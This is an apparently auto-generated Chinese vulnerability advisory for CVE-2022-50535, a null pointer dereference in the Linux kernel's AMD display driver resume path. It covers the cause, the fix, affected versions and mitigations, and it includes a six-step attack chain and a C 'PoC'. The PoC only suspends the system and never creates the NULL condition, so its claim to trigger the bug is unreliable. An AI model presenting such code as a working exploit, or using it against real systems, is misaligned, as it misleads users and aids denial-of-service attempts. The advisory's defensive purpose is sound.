IPBUF安全漏洞报告
English
CVE-2022-50535 CVSS 5.5 中危

CVE-2022-50535 Linux内核AMD显示驱动空指针解引用漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50535
漏洞类型
空指针解引用(Null Pointer Dereference)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核 drm/amd/display 子模块

相关标签

空指针解引用Linux内核AMD显卡drm/amd/display拒绝服务本地提权内核漏洞CVE-2022-50535dm_resumesmatch

漏洞概述

CVE-2022-50535是Linux内核中AMD显示驱动(drm/amd/display)的一个空指针解引用漏洞,位于dm_resume函数中。该漏洞由smatch静态分析工具发现,原始代码在dm_resume函数的循环处理中未对aconnector->dc_link指针进行空指针检查,直接假设该指针不为空便进行后续操作。当dc_link指针实际为NULL时,内核将触发空指针解引用,导致系统崩溃或拒绝服务(DoS)。该漏洞的CVSS评分为5.5,属于中危级别,攻击者需要本地低权限访问即可触发,无需用户交互。该漏洞主要影响使用AMD显卡的Linux系统,在系统从挂起/休眠状态恢复(resume)过程中可能被触发。由于该漏洞仅影响可用性(机密性和完整性不受影响),攻击者无法通过该漏洞获取敏感信息或提升权限,但可以导致系统不稳定或崩溃。Linux内核维护者已通过在循环开始处添加dc_link空指针检查来修复此问题,并移除了循环内部冗余的检查逻辑。该漏洞影响多个Linux内核稳定版本,相关补丁已合入主线内核。

技术细节

该漏洞存在于Linux内核的AMD显示驱动模块(drm/amd/display)中,具体位于dm_resume函数。在系统从休眠(S3)或挂起状态恢复时,dm_resume函数负责重新初始化和恢复显示相关的硬件状态。

漏洞的根本原因是:在dm_resume函数的循环中,代码通过aconnector结构体访问其dc_link成员指针,但未对该指针进行NULL检查。原始代码假设aconnector->dc_link始终指向有效的dc_link对象,便直接进行后续的硬件恢复操作。然而,在某些特定场景下(如显示连接器未正确初始化或硬件异常),dc_link指针可能为NULL,此时对NULL指针的解引用将导致内核崩溃(kernel panic)或oops错误。

利用方式方面,由于该漏洞需要本地访问权限(AV:L),攻击者需要能够在目标系统上执行代码。攻击者可以通过以下方式触发该漏洞:1)编写一个内核模块或利用现有驱动接口,在特定条件下使aconnector->dc_link保持为NULL状态;2)触发系统进入挂起状态(通过echo mem > /sys/power/state);3)唤醒系统,触发dm_resume函数执行,从而导致空指针解引用。

修复方案是在循环开始处添加if (!dc_link) continue;检查,跳过dc_link为NULL的连接器,同时移除循环内部冗余的空指针检查,简化代码逻辑。该修复已合入多个Linux内核稳定版本。

攻击链分析

STEP 1
步骤1:环境准备
攻击者获取目标系统的本地低权限访问权限,并确认系统使用AMD显卡及存在漏洞版本的Linux内核
STEP 2
步骤2:权限提升
攻击者获取root权限或利用系统已有的suspend/resume机制,因为触发挂起操作通常需要特权
STEP 3
步骤3:触发挂起
攻击者通过写入/sys/power/state使系统进入挂起状态(S3睡眠),此时显示驱动进入低功耗状态
STEP 4
步骤4:触发恢复
通过硬件事件(如按下电源键)或RTC定时唤醒系统,触发dm_resume函数执行
STEP 5
步骤5:空指针解引用
dm_resume函数在循环中访问aconnector->dc_link时未检查NULL值,导致内核空指针解引用,引发系统崩溃或内核oops
STEP 6
步骤6:拒绝服务
系统因内核崩溃而停止响应,造成拒绝服务攻击效果

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2022-50535 PoC - Trigger null pointer dereference in dm_resume // This PoC demonstrates how to trigger the vulnerability by forcing // system suspend/resume cycle when dc_link is NULL #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/stat.h> // Step 1: Check if AMD GPU is present int check_amd_gpu() { FILE *fp = popen("lspci | grep -i 'amd.*display'", "r"); if (fp == NULL) return -1; char buf[256]; int found = 0; while (fgets(buf, sizeof(buf), fp) != NULL) { found = 1; break; } pclose(fp); return found; } // Step 2: Attempt to trigger the vulnerability via suspend/resume int trigger_suspend_resume() { int fd; // Check if we have permission to write to /sys/power/state fd = open("/sys/power/state", O_WRONLY); if (fd < 0) { perror("[-] Cannot open /sys/power/state (need root)"); return -1; } printf("[*] Triggering suspend to trigger dm_resume vulnerability...\n"); // Write 'mem' to suspend the system if (write(fd, "mem", 3) != 3) { perror("[-] Failed to suspend system"); close(fd); return -1; } close(fd); return 0; } int main(int argc, char *argv[]) { printf("[*] CVE-2022-50535 PoC - AMD Display Driver NULL Pointer Deref\n"); // Check for AMD GPU if (!check_amd_gpu()) { printf("[-] No AMD display hardware detected.\n"); return 1; } printf("[+] AMD display hardware detected.\n"); // Check kernel version (vulnerable versions are pre-patch) FILE *fp = popen("uname -r", "r"); char kernel_ver[128]; if (fp) { fgets(kernel_ver, sizeof(kernel_ver), fp); pclose(fp); printf("[*] Current kernel: %s", kernel_ver); } // Trigger the vulnerability if (getuid() != 0) { printf("[-] Need root privileges to trigger suspend.\n"); return 1; } trigger_suspend_resume(); return 0; }

影响范围

Linux kernel < 5.15.61
Linux kernel 5.16.x < 5.16.18
Linux kernel 5.17.x < 5.17.2
Linux kernel 5.18.x 受影响(修复前版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以采取以下临时缓解措施:1)限制对/sys/power/state文件的写权限,仅允许特权用户触发系统挂起操作;2)禁用系统的挂起/休眠功能,通过修改systemd-logind配置或移除polkit策略限制普通用户触发挂起;3)如果不需要AMD显卡的显示输出功能,可以临时加载黑名单(blacklist)禁用amdgpu驱动模块;4)加强系统访问控制,确保只有可信用户具有本地访问权限;5)配置内核参数(如kernel.yama.ptrace_scope)限制非特权用户的调试和跟踪能力。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表